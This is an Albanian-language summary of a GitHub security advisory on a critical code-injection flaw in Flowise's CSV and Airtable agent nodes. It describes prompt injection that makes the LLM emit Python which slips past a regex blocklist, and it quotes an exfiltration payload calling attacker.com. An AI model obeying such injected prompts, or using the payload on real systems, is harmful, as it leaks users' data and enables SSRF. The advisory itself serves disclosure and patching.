Më 7 tetor 2026, GitHub publikoi këshillën e sigurisë GHSA-w7x8-q2gp-5cgg (CVE-2026-73487) për një dobësi me rrezikshmëri kritike (CVSS 9.0) në paketën flowise të ekosistemit npm. Dobësia prek gjithsej 2 paketa.
Paketat e prekura
- flowise (npm) — versionet e prekura:
<= 3.1.2; versioni me rregullim:3.1.3 - flowise-components (npm) — versionet e prekura:
<= 3.1.2; versioni me rregullim:3.1.3
Detaje
- Rrezikshmëria: Kritike (CVSS 9.0)
- CWE: CWE-94 (Improper Control of Generation of Code ('Code Injection'))
- Identifikuesit: GHSA-w7x8-q2gp-5cgg, CVE-2026-73487
Përmbledhja zyrtare
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass — Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame ()) ) to sanitize LLM-generated Python code before execution in Pyodide. Validatori ka anashkalime të shumta strukturore që lejojnë një sulmues të eksfiltrojë të gjitha të dhënat e ngarkuara në një server të jashtëm, të kryejë SSRF kundër shërbimeve të brendshme dhe potencialisht të arrijë ekzekutimin e mëtejshëm të kodit, të gjitha përmes injektimit të shpejtë përmes API-së së parashikimit të paautorizuar. Bypass-i më me ndikim është i parëndësishëm:pd.read_json ("http://attacker.com/?d =" + df.to_json()) kalon çdo kontroll regex ende…
Çfarë duhet të bëni
Nëse projektet tuaja përdorin flowise, përditësojeni sa më shpejt në versionin 3.1.3 ose më të ri.
